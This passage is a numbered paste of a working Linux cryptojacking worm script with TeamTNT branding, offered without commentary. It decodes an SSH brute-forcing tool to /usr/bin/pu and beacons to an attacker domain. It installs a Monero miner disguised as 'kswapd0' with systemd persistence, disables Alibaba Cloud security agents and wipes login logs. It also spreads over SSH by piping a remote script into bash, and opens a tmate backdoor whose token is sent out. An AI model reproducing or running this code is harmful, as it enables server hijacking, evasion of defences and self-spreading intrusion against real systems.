zICsgIi8uc3NoL2lkX3JzYSIgbm90IGluIHNzaEtleXM6CgkJCQkJc3NoS2V5cy5hcHBlbmQoYXJncy5ob21lK2hvbWVzICsgIi8uc3NoL2lkX3JzYSIpCgoJCQlpZiBvcy5wYXRoLmlzZmlsZShhcmdzLmhvbWUraG9tZXMgKyAiLy5zc2gva25vd25faG9zdHMiKToKCQkJCUZLID0gb3BlbihhcmdzLmhvbWUraG9tZXMgKyAiLy5zc2gva25vd25faG9zdHMiKQoJCQkJZW5jcnlwdGVkX2tub3duaG9zdHMgPSBGYWxzZQoKCQkJCWZvciBob3N0IGluIEZLOgoJCQkJCWlmIG5vdCBob3N0LmZpbmQoInwiKSA+PSAwOiAjIHNlY3VyZSBrbm93bl9ob3N0cwoJCQkJCQlpZiBob3N0LmZpbmQoIiwiKSA+PSAwOgoJCQkJCQkJaG9zdG5hbWUgPSBob3N0LnNwbGl0KCIgIilbMF0uc3BsaXQoIiwiKVsxXQoJCQkJCQllbHNlOgoJCQkJCQkJaG9zdG5hbWUgPSBob3N0LnNwbGl0KCIgIilbMF0KCQkJCQkJaWYgaG9zdG5hbWUgbm90IGluIGtub3duSG9zdHM6CgkJCQkJCQlrbm93bkhvc3RzLmFwcGVuZChob3N0bmFtZSkKCQkJCQllbHNlOgoJCQkJCQllbmNyeXB0ZWRfa25vd25ob3N0cyA9IFRydWUKCgoJCQkJaWYgZW5jcnlwdGVkX2tub3duaG9zdHMgYW5kIGFyZ3MuY3JhY2sgPT0gIiI6CgkJCQkJc3lzLnN0ZG91dC53cml0ZSAoIlwwMzNbOTNtWyFdXDAzM1swbSBFbmNyeXB0ZWQga25vd24gaG9zdCBhdCBcMDMzWzkzbSVzLy5zc2gva25vd25faG9zdHNcMDMzWzBtXG4iICUgYXJncy5ob21lICkKCQkJCQlzeXMuc3Rkb3V0LndyaXRlICgiXDAzM1s5M21bIV1cMDMzWzBtIFJ1biB3aXRoIFwwMzNbOTNtJXMtLWNyYWNrXDAzM1swbSBmbGFnIHRvIGJyZWFrIGl0XG4iKQoKCQkJCWVsaWYgZW5jcnlwdGVkX2tub3duaG9zdHMgYW5kIGFyZ3MuY3JhY2sgIT0gIiI6CgkJCQkJIyBjcmFjayB0aGUgaGFzaGVkIGtub3duIGhvc3RzCgkJCQkJc3lzLnN0ZG91dC53cml0ZSAoIlwwMzNbOTJtWypdXDAzM1swbSBDcmFja2luZyBrbm93biBob3N0cyBvbiBcMDMzWzkybSVzLy5zc2gva25vd25faG9zdHMuLi5cMDMzWzBtXG4iICUgYXJncy5ob21lICkKCQkJCQlvcGVuKGFyZ3MuaG9tZStob21lcyArICIvLnNzaC9rbm93bl9ob3N0cyIpCgkJCQkJZm9yIGhvc3QgaW4gRks6CgkJCQkJCWlmIGhvc3QuZmluZCgifCIpID49IDA6CgkJCQkJCQljcmFja19vYmogPSBjcmFja19ob3N0KGhvc3QsIGFyZ3MuY3JhY2ssIGFyZ3MudGhyZWFkcykKCQkJCQkJCWNyYWNrX29iai5ydW4oKQoKCQkJCUZLLmNsb3NlKCkKCQoJcmV0dXJuIFRydWUKCiMgQXZvaWQgaXBhZGRyZXNzIGxpYnJhcnkgc2luY2UgaXMgbm90IHN1cHBvcnRlZCBpbiBweXRob24yIAojIGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vYS80MTM4Njg3NApkZWYgaW5ldF9hdG9pKGlwdjRfc3RyKToKICAgICIiIkNvbnZlcnQgZG90dGVkIGlwdjQgc3RyaW5nIHRvIGludCIiIgogICAgIyBub3RlOiB1c2Ugc29ja2V0IGZvciBwYWNrZWQgYmluYXJ5IHRoZW4gc3RydWN0IHRvIHVucGFjawogICAgcmV0dXJuIHN0cnVjdC51bnBhY2soIiFJIiwgc29ja2V0LmluZXRfYXRvbihpcHY0X3N0cikpWzBdCgpkZWYgaW5ldF9pdG9hKGlwdjRfaW50KToKICAgICIiIkNvbnZlcnQgaW50IHRvIGRvdHRlZCBpcHY0IHN0cmluZyIiIgogICAgIyBub3RlOiB1c2Ugc3RydWN0IHRvIHBhY2sgdGhlbiBzb2NrZXQgdG8gc3RyaW5nCiAgICByZXR1cm4gc29ja2V0LmluZXRfbnRvYShzdHJ1Y3QucGFjaygiIUkiLCBpcHY0X2ludCkpCgpkZWYgaXB2NF9yYW5nZShpcGFkZHIpOgogICAgIiIiUmV0dXJuIGEgbGlzdCBvZiBJUHY0IGFkZHJlc3MgY29udGlhbmVkIGluIGEgY2lkciBhZGRyZXNzIHJhbmdlIiIiCiAgICAjIHNwbGl0IG91dCBmb3IgZXhhbXBsZSAxOTIuMTY4LjEuMToyMi8yNAogICAgaXB2NF9zdHIsIHBvcnRfc3RyLCBjaWRyX3N0ciA9IHJlLm1hdGNoKAogICAgICAgIHInKFtcZFwuXSspKDpcZCspPygvXGQrKT8nLCBpcGFkZHIpLmdyb3VwcygpCgogICAgIyBjb252ZXJ0IGFzIG5lZWRlZAogICAgaXB2NF9pbnQgPSBpbmV0X2F0b2koaXB2NF9zdHIpCiAgICBwb3J0X3N0ciA9IHBvcnRfc3RyIG9yICcnCiAgICBjaWRyX3N0ciA9IGNpZHJfc3RyIG9yICcnCiAgICBjaWRyX2ludCA9IGludChjaWRyX3N0clsxOl0pIGlmIGNpZHJfc3RyIGVsc2UgMAoKICAgICMgbWFzayBpcHY0CiAgICBpcHY0X2Jhc2UgPSBpcHY0X2ludCAmICgweGZmZmZmZmZmIDw8ICgzMiAtIGNpZHJfaW50KSkKCiAgICAjIGdlbmVyYXRlIGxpc3QKICAgIGFkZHJzID0gW2luZXRfaXRvYShpcHY0X2Jhc2UgKyB2YWwpCiAgICAgICAgZm9yIHZhbCBpbiByYW5nZSgxIDw8ICgzMiAtIGNpZHJfaW50KSArIDIpXQogICAgcmV0dXJuIGFkZHJzCgoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKCglzeXMuc3Rkb3V0LndyaXRlICgiIiJcMDMzWzkybQogICAgICAgICAgICAgfAogICAgICAgICBcICAgfCAgIC8KICAgIC4gICAgIFwgIHwgIC8gICAgLgogICAgIGAtLl9ffFwvX1wvfF8uLScKICAgLl9fICBcIC8gICAgIGAuLyAgCiAgICAgIGAtICAgICAgICBAfAogICAgIC4tJ2AuICAhISAgICAtICAgXDAzM1s5MG0tPVsgXDAzM1s5M21wdW5rLnB5IC0gdW5peCBTU0ggcG9zdC1leHBsb2l0YXRpb24gMTMzNyB0b29sXDAzM1s5Mm0KICAgICcgICAgIGAgICEgIF9fLicgIFwwMzNbOTBtLT1bIFwwMzNbOTNtYnkgYHIzdm5gICggdHc6IEByM3ZubiApXDAzM1s5Mm0KICAgICAgICAgIF8pX19fKCAgICAgIFwwMzNbOTBtLT1bIFwwMzNbOTNtaHR0cHM6Ly94ZmlsdHJhdGVkLmNvbVwwMzNbOTJtCiAgICAgICAgXG5cMDMzWzBtIiIiKQoKCglwYXJzZXIgPSBhcmdwYXJzZS5Bcmd1bWVudFBhcnNlcigpCglwYXJzZXIuYWRkX2FyZ3VtZW50KCctLWhvbWUnLCBoZWxwPSdjdXN0b20gaG9tZSBwYXRoJyxkZWZhdWx0PSIvaG9tZS8iKQoJcGFyc2VyLmFkZF9hcmd1bWVudCgnLS1ydW4nLCctcicsIGhlbHA9J3J1biBjb21tYW5kcyBvbiBjb21wcm9taXNlZCBob3N0cycsZGVmYXVsdD0iIikKCXBhcnNlci5hZGRfYXJndW1lbnQoJy0tbm8tcGFzc3dkJywgZGVzdD0ncGFzc3dkJywgYWN0aW9uPSdzdG9yZV9mYWxzZScsIGRlZmF1bHQ9VHJ1ZSwgaGVscD0nc2tpcCBwYXNzd2QgY2hlY2snKQoJcGFyc2VyLmFkZF9hcmd1bWVudCgnLS1jcmFjaycsJy1jJywgaGVscD0nY3JhY2sgaGFzaGVkIGtub3duX2hvc3RzIGZpbGVzJyxkZWZhdWx0PSIiLG1ldGF2YXI9J3N1Ym5ldCcpCglwYXJzZXIuYWRkX2FyZ3VtZW50KCctLXRocmVhZHMnLCctdCcsIHR5cGU9aW50LCBoZWxwPSdicnV0ZS1mb2NpbmcgdGhyZWFkcycsZGVmYXVsdD00KQoJYXJncyA9IHBhcnNlci5wYXJzZV9hcmdzKCkKCglzeXMuc3Rkb3V0LndyaXRlICgiXDAzM1s5Mm1bKl1cMDMzWzBtIGVudW1lcmF0aW5nIHZhbGlkIHVzZXJzIHdpdGggc3NoIGtleXMuLi5cbiIpCglkaXNjb3ZlcnkoYXJncykKCXN5cy5zdGRvdXQud3JpdGUgKCJcMDMzWzkybVsqXVwwMzNbMG0gRG9uZS5cbiIpCgoJaWYgbGVuKHNzaEtleXMpIDw9IDA6CgkJc3lzLnN0ZG91dC53cml0ZSAoIlwwMzNbOTNtWyFdXDAzM1swbSBObyB2YWxpZCBTU0gga2V5cyBmb3VuZCBvbiB0aGUgc3lzdGVtLlxuIikKCQlzeXMuZXhpdCgpCgllbHNlOgoJCXN5cy5zdGRvdXQud3JpdGUgKCJcMDMzWzkybVsqXVwwMzNbMG0gU1NIIGtleXMgZm91bmQ6XG5cMDMzWzkybVxuIikKCgkJZm9yIGtleSBpbiBzc2hLZXlzOgoJCQlzeXMuc3Rkb3V0LndyaXRlICgiXHQiICsga2V5ICsgIlxuIikKCglpZiBsZW4odXNlcnMpIDw9IDA6CgkJc3lzLnN0ZG91dC53cml0ZSAoIlxuXDAzM1s5M21bIV1cMDMzWzBtIE5vIHZhbGlkIHVzZXJzIGZvdW5kIG9uIHRoZSBzeXN0ZW0uXG4iKQoJCXN5cy5leGl0KCkKCWVsc2U6CgkJc3lzLnN0ZG91dC53cml0ZSAoIlxuXDAzM1s5Mm1bKl1cMDMzWzBtIFVzZXJzIGZvdW5kOlxuXDAzM1s5Mm1cbiIpCgoJCWZvciB1c2VyIGluIHVzZXJzOgoJCQlzeXMuc3Rkb3V0LndyaXRlICgiXHQiICsgdXNlciArICJcbiIgKSMrICIgOjogIiArIHRhcmdldHNbdXNlcl0KCglpZiBsZW4oa25vd25Ib3N0cykgPD0gMDoKCQlzeXMuc3Rkb3V0LndyaXRlICgiXG5cMDMzWzkzbVshXVwwMzNbMG0gTm8gdmFsaWQga25vd24gaG9zdHMgZm91bmQgb24gdGhlIHN5c3RlbS5cbiIpCgkJc3lzLmV4aXQoKQoKCWVsc2U6CgkJc3lzLnN0ZG91dC53cml0ZSAoIlxuXDAzM1s5Mm1bKl1cMDMzWzBtIGtub3duIGhvc3RzIGZvdW5kOlxuXDAzM1s5Mm1cbiIpCgoJCWZvciBob3N0IGluIGtub3duSG9zdHM6CgkJCXN5cy5zdGRvdXQud3JpdGUgKCJcdCIrIGhvc3QrICJcbiIpCgoJc3lzLnN0ZG91dC53cml0ZSAoIlxuXDAzM1s5Mm1bKl1cMDMzWzBtIFN0YXJ0aW5nIGtleXMgYnJ1dGVmb3JjaW5nLi4uXG4iKQoJQXR0YWNrID0gYXR0YWNrKGFyZ3MucnVuLCBhcmdzLnRocmVhZHMpCgoJQXR0YWNrLnJ1bigpCglzeXMuc3Rkb3V0LndyaXRlICgiXDAzM1s5Mm1bKl1cMDMzWzBtIEF0dGFjayBDb21wbGV0ZSFcbiIpCgoKCgkJCgo=' | base64 -d > /usr/bin/pu; chmod +x /usr/bin/pu
  1121. fi
  1122. }
  1123.  
  1124. function checksshkeys(){
  1125. if [ -f /var/tmp/.copydie/[kswapd0].log ]; then
  1126. curl http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1127. cur http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1128. cd1 http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1129. TNTcurl http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1130. wget -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1131. wge -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1132. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1133. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0start >>/dev/null
  1134. else
  1135. curl http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1136. cur http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1137. cd1 http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1138. TNTcurl http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1139. wget -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1140. wge -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1141. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1142. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/kswapd0notfount >>/dev/null
  1143. fi
  1144. cat /home/hilde/.ssh/authorized_keys|grep root@puppetserver >/dev/null
  1145. if (test $? -ne 0); then
  1146. curl http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1147. cur http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1148. cd1 http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1149. TNTcurl http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1150. wget -q -O- http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1151. wge -q -O- http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1152. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1153. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/authfailed >>/dev/null
  1154. else
  1155. curl http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1156. cur http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1157. cd1 http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1158. TNTcurl http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1159. wget -q -O- http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1160. wge -q -O- http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1161. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1162. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/authok >>/dev/null
  1163. fi
  1164.  
  1165. cat /root/.ssh/authorized_keys|grep root@puppetserver >/dev/null
  1166. if (test $? -ne 0); then
  1167. curl http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1168. cur http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1169. cd1 http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1170. TNTcurl http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1171. wget -q -O- http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1172. wge -q -O- http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1173. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1174. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/authfailedroot >>/dev/null
  1175. else
  1176. curl http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1177. cur http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1178. cd1 http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1179. TNTcurl http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1180. wget -q -O- http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1181. wge -q -O- http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1182. wd1 -q -O- http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1183. TNTwget -q -O- http://oracle.zzhreceive.top/b2f628/authokroot >>/dev/null
  1184. fi
  1185. }
  1186.  
  1187. function SetupMoneroOcean(){
  1188. function SetupMoneroOcean1(){
  1189. # printing intentions
  1190. echo "[*] Downloading MoneroOcean advanced version of xmrig to /tmp/xmrig.tar.gz"
  1191. if ! curl -L --progress-bar "$MOxmrigMOD" -o /tmp/xmrig.tar.gz; then
  1192. echo "ERROR: Can't download $MOxmrigMOD file to /tmp/xmrig.tar.gz"
  1193. fi
  1194.  
  1195. echo "[*] Unpacking /tmp/xmrig.tar.gz to $MOHOME/"
  1196. [ -d $MOHOME/ ] || mkdir $MOHOME/
  1197. if ! tar xf /tmp/xmrig.tar.gz -C $MOHOME/; then
  1198. echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $MOHOME/ directory"
  1199. fi
  1200. chmod +x $MOHOME/\[kswapd0\]
  1201. rm /tmp/xmrig.tar.gz
  1202.  
  1203. echo "[*] Checking if advanced version of $MOHOME/xmrig works fine (and not removed by antivirus software)"
  1204. $MOHOME/[kswapd0] --help >/dev/null
  1205. if (test $? -ne 0); then
  1206. if [ -f $MOHOME/[kswapd0] ]; then
  1207. echo "WARNING: Advanced version of $MOHOME/xmrig is not functional"
  1208. else
  1209. echo "WARNING: Advanced version of $MOHOME/xmrig was removed by antivirus (or some other problem)"
  1210. fi
  1211.  
  1212. echo "[*] Looking for the latest version of Monero miner"
  1213. #LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'`
  1214. LATEST_XMRIG_LINUX_RELEASE=$MOxmrigSTOCK
  1215.  
  1216. echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz"
  1217. if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then
  1218. echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz"
  1219. fi
  1220.  
  1221. echo "[*] Unpacking /tmp/xmrig.tar.gz to $MOHOME/"
  1222. if ! tar xf /tmp/xmrig.tar.gz -C $MOHOME/ --strip=1; then
  1223. echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $MOHOME/ directory"
  1224. fi
  1225. rm /tmp/xmrig.tar.gz
  1226. chmod +x $MOHOME/\[kswapd0\]
  1227.  
  1228. echo "[*] Checking if stock version is OKAY!"
  1229. $MOHOME/[kswapd0] --help >/dev/null
  1230. if (test $? -ne 0); then
  1231. if [ -f $MOHOME/[kswapd0] ]; then
  1232. echo "ERROR: Stock version of $MOHOME/[kswapd0] is not functional too"
  1233. else
  1234. echo "ERROR: Stock version of $MOHOME/[kswapd0] was removed by antivirus too"
  1235. fi
  1236. echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz"
  1237. fi
  1238. fi
  1239.  
  1240. echo "[*] $MOHOME/[kswapd0] is OK"
  1241. }
  1242.  
  1243. ######################### printing greetings ###########################
  1244. clear
  1245. echo -e " "
  1246. echo -e " \e[1;34;49m___________ _____________________________\033[0m"
  1247. echo -e " \e[1;34;49m\__ ___/___ _____ ____\__ ___/\ \__ ___/\033[0m"
  1248. echo -e " \e[1;34;49m | |_/ __ \\__ \ / \| | / | \| | \033[0m"
  1249. echo -e " \e[1;34;49m | |\ ___/ / __ \| Y Y \ | / | \ | \033[0m"
  1250. echo -e " \e[1;34;49m |____| \___ >____ /__|_| /____| \____|__ /____| \033[0m"
  1251. echo -e " \e[1;34;49m \/ \/ \/ \/ \033[0m"
  1252. echo -e " "
  1253. echo -e " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "
  1254. echo -e " "
  1255. echo -e " \e[1;34;49m Now you get, what i want to give... --- ''' \033[0m"
  1256. echo " "
  1257. echo " "
  1258.  
  1259.  
  1260.  
  1261. if [ "$(id -u)" == "0" ]; then
  1262. echo "running as root... its all OKAY!"
  1263. else
  1264. echo "running not as root... first starting tmp setup..."
  1265.  
  1266. fi
  1267.  
  1268.  
  1269. # checking prerequisites
  1270.  
  1271. if [ -z $WALLET ]; then
  1272. echo "ERROR: wallet"
  1273. fi
  1274.  
  1275. WALLET_BASE=`echo $WALLET | cut -f1 -d"."`
  1276. if [ ${#WALLET_BASE} != 95 ]; then
  1277. echo "ERROR: Wrong wallet base address length (should be 95): ${#WALLET_BASE}"
  1278. fi
  1279.  
  1280. if [ -z $MOHOME ]; then
  1281. echo "ERROR: Please define HOME environment variable to your home directory"
  1282. fi
  1283.  
  1284. if [ ! -d $MOHOME ]; then
  1285. echo "ERROR: Please make sure HOME directory $MOHOME exists or set it yourself using this command:"
  1286. echo ' export HOME=<dir>'
  1287. fi
  1288.  
  1289. if ! type curl >/dev/null; then
  1290. apt-get update --fix-missing 2>/dev/null 1>/dev/null
  1291. apt-get install -y curl 2>/dev/null 1>/dev/null
  1292. apt-get install -y --reinstall curl 2>/dev/null 1>/dev/null
  1293. yum clean all 2>/dev/null 1>/dev/null
  1294. yum install -y curl 2>/dev/null 1>/dev/null
  1295. yum reinstall -y curl 2>/dev/null 1>/dev/null
  1296. fi
  1297.  
  1298. sleep 2
  1299. $MOHOME/[kswapd0] --help >/dev/null
  1300. if (test $? -ne 0); then
  1301. SetupMoneroOcean1
  1302. else
  1303. echo "WARNING: Advanced version of $MOHOME/xmrig was removed by antivirus (or some other problem)"
  1304. fi
  1305.  
  1306. if [ -f "$MOHOME/[kswapd0].pid" ]
  1307. then
  1308. echo "config file exists, neednot backup"
  1309. else
  1310. echo "config file not exists.download from teamtnt"
  1311. SetupMoneroOcean1
  1312. fi
  1313.  
  1314.  
  1315. if [ -f "$MOHOME/[kswapd0]" ]
  1316. then
  1317. echo "miner file exists"
  1318. else
  1319. curl -L --progress-bar $miner_url -o /tmp/xmrig.tar.gz && tar -xf /tmp/xmrig.tar.gz -C $MOHOME/ && mv $MOHOME/xmrig*/xmrig $MOHOME/\[kswapd0\]
  1320. fi
  1321.  
  1322. if [ -f "$MOHOME/[kswapd0].pid" ]
  1323. then
  1324. echo "miner config exists"
  1325. else
  1326. curl -L --progress-bar $config_url -o $MOHOME/\[kswapd0\].pid
  1327. fi
  1328.  
  1329. rm /tmp/xmrig.tar.gz
  1330.  
  1331. if [ -f "$MOHOME/[kswapd0]" ]
  1332. then
  1333. echo "miner file exists, neednot backup"
  1334. else
  1335. curl -L --progress-bar $miner_url_backup -o /tmp/xmrig.tar.gz && tar -xf /tmp/xmrig.tar.gz -C $MOHOME/ && chmod +x $MOHOME/\[kswapd0\]
  1336. fi
  1337.  
  1338. rm /tmp/cf.tar
  1339.  
  1340.  
  1341. sed -i 's/"url": *"[^"]*",/"url": "pool.minexmr.com:4444",/' $MOHOME/[kswapd0].pid
  1342. sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $MOHOME/[kswapd0].pid
  1343. sed -i 's/"coin": *[^"]*,/"coin": "monero",/' $MOHOME/[kswapd0].pid
  1344. sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": 50,/' $MOHOME/[kswapd0].pid
  1345. sed -i 's#"log-file": *null,#"log-file": "'$MOHOME/[kswapd0].log'",#' $MOHOME/[kswapd0].pid
  1346. sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $MOHOME/[kswapd0].pid
  1347.  
  1348. cp $MOHOME/[kswapd0].pid $MOHOME/config_background.json
  1349. sed -i 's/"background": *false,/"background": true,/' $MOHOME/config_background.json
  1350.  
  1351. # preparing script
  1352.  
  1353. echo "[*] Creating $MOHOME/[kswapd0].sh script"
  1354. cat >$MOHOME/[kswapd0].sh <<EOL
  1355. #!/bin/bash
  1356. if ! pidof [kswapd0] >/dev/null; then
  1357. nice $MOHOME/[kswapd0] \$*
  1358. else
  1359. echo "Monero miner is already running in the background. Refusing to run another one."
  1360. echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
  1361. fi
  1362. EOL
  1363.  
  1364. chmod +x $MOHOME/[kswapd0].sh
  1365.  
  1366. # preparing script background work and work under reboot
  1367.  
  1368. if ! sudo -n true 2>/dev/null; then
  1369. if ! grep $MOHOME/[kswapd0].sh /root/.profile >/dev/null; then
  1370. echo "[*] Adding $MOHOME/[kswapd0].sh script to /root/.profile"
  1371. echo "$MOHOME/[kswapd0].sh --config=$MOHOME/config_background.json >/dev/null 2>&1" >>/root/.profile
  1372. else
  1373. echo "Looks like $MOHOME/[kswapd0].sh script is already in the /root/.profile"
  1374. fi
  1375. echo "[*] Running kswapd0 service in the background (see logs in $MOHOME/[kswapd0].log file)"
  1376. /bin/bash $MOHOME/[kswapd0].sh --config=$MOHOME/config_background.json >/dev/null 2>&1
  1377. else
  1378.  
  1379. if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
  1380. echo "[*] Enabling huge pages"
  1381. echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
  1382. sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
  1383. fi
  1384.  
  1385. if ! type systemctl >/dev/null; then
  1386.  
  1387. /bin/bash $MOHOME/[kswapd0].sh --config=$MOHOME/config_background.json >/dev/null 2>&1
  1388.  
  1389. else
  1390.  
  1391. echo "[*] Creating kswapd0 systemd service"
  1392. chmod +x /usr/bin/systemctl
  1393. cat >/tmp/kswapd0.service <<EOL
  1394. [Unit]
  1395. Description=kswapd0 system service
  1396.  
  1397. [Service]
  1398. ExecStart=$MOHOME/[kswapd0] --config=$MOHOME/[kswapd0].pid
  1399. Restart=always
  1400. Nice=10
  1401. CPUWeight=1
  1402.  
  1403. [Install]
  1404. WantedBy=multi-user.target
  1405. EOL
  1406. sudo mv /tmp/kswapd0.service /etc/systemd/system/kswapd0.service
  1407. echo "[*] Starting kswapd0 systemd service"
  1408. sudo killall [kswapd0] 2>/dev/null
  1409. sudo systemctl daemon-reload
  1410. sudo systemctl enable kswapd0.service
  1411. sudo systemctl start kswapd0.service
  1412. fi
  1413. fi
  1414.  
  1415. }
  1416.  
  1417. localgo() {
  1418. echo > /var/spool/mail/root
  1419. echo > /var/log/wtmp
  1420. echo > /var/log/secure
  1421. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  1422. for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- http://oracle.zzhreceive.top/b2f628/b.sh | bash >/dev/null 2>&1 &' & done
  1423. fi
  1424. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  1425. for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cd1 -o- http://oracle.zzhreceive.top/b2f628/b.sh | bash >/dev/null 2>&1 &' & done
  1426. fi
  1427. }
  1428.  
  1429. clmo() {
  1430. if ps aux | grep -i '[a]liyun'; then
  1431. echo "this is ali cloud"
  1432. number=$(ps -ef|grep -i dun|grep -v grep|wc -l)
  1433. until [ "$number" -eq 0 ]; do
  1434. systemctl stop aliyun
  1435. systemctl stop aegis
  1436. ps -ef|grep -i aegis|awk '{print $2}'|xargs kill -HUP
  1437. number=$(ps -ef|grep -i dun|grep -v grep|wc -l)
  1438. done
  1439.  
  1440. while [ -d /usr/local/aegis ]
  1441. do
  1442. ps -ef|grep -i AliSecGuard|grep -v grep |awk '{print $2}'|xargs kill -HUP
  1443. path=$(ps -ef|grep AliSecGuard|grep -v grep|awk '{print $NF}')
  1444. num=$(ps -ef|grep AliSecGuard|grep -v grep|awk '{print $NF}'|wc -l)
  1445. if [ $num -gt 0 ]
  1446. then
  1447. echo "$path" exist
  1448. $path --stopdriver
  1449. else
  1450. echo "no AliSecGuard process"
  1451. fi
  1452. rm -rf /usr/local/aegis
  1453. done
  1454. else
  1455. echo "it's not ali cloud"
  1456. fi
  1457. }
  1458.  
  1459. tmt() {
  1460. mkdir -p /var/tmp/ 2>/dev/null
  1461. chattr -ia / /var/ /var/tmp/ 2>/dev/null
  1462. pkill tmate 2>/dev/null
  1463. if [ ! -f "/tmp/tmate" ]; then wget http://58.226.35.74/tmate -O /tmp/tmate; fi
  1464. if [ ! -f "/tmp/tmate" ]; then curl http://58.226.35.74/tmate -o /tmp/tmate; fi
  1465. if [ ! -f "/tmp/tmate" ]; then cd1 http://58.226.35.74/tmate -o /tmp/tmate; fi
  1466. if [ ! -f "/tmp/tmate" ]; then wd1 http://58.226.35.74/tmate -o /tmp/tmate; fi
  1467.  
  1468. chmod +x /tmp/tmate
  1469. URLTOKEN=$(awk 'BEGIN{srand();print rand()*1000000}')"O"$RANDOM
  1470. /tmp/tmate -F -k tmk-4ST6GRXU6GPUjlXHfSlNe0ZaT2 -n $URLTOKEN >/tmp/.tmbd &
  1471.  
  1472. curl http://oracle.zzhreceive.top/address/"$URLTOKEN" >>/dev/null
  1473. wget http://oracle.zzhreceive.top/address/"$URLTOKEN" >>/dev/null
  1474. wd1 http://oracle.zzhreceive.top/address/"$URLTOKEN" >>/dev/null
  1475. cd1 http://oracle.zzhreceive.top/address/"$URLTOKEN" >>/dev/null
  1476. }
  1477.  
  1478. KILLMININGSERVICES
  1479.  
  1480. clmo
  1481.  
  1482. SetupMoneroOcean
  1483.  
  1484. makesshaxx
  1485.  
  1486. checksshkeys
  1487.  
  1488. back
  1489.  
  1490. hid
  1491.  
  1492.  
  1493. SecureTheSystem
  1494.  
  1495. FixTheSystem
  1496.  
  1497. if [ ! -f "/var/tmp/.alsp" ]; then
  1498. localgo
  1499. echo 'lockfile' > /var/tmp/.alsp
  1500. tntrecht +i /var/tmp/.alsp || chattr +i /var/tmp/.alsp
  1501. else
  1502. echo "replay .. i know this server ..."
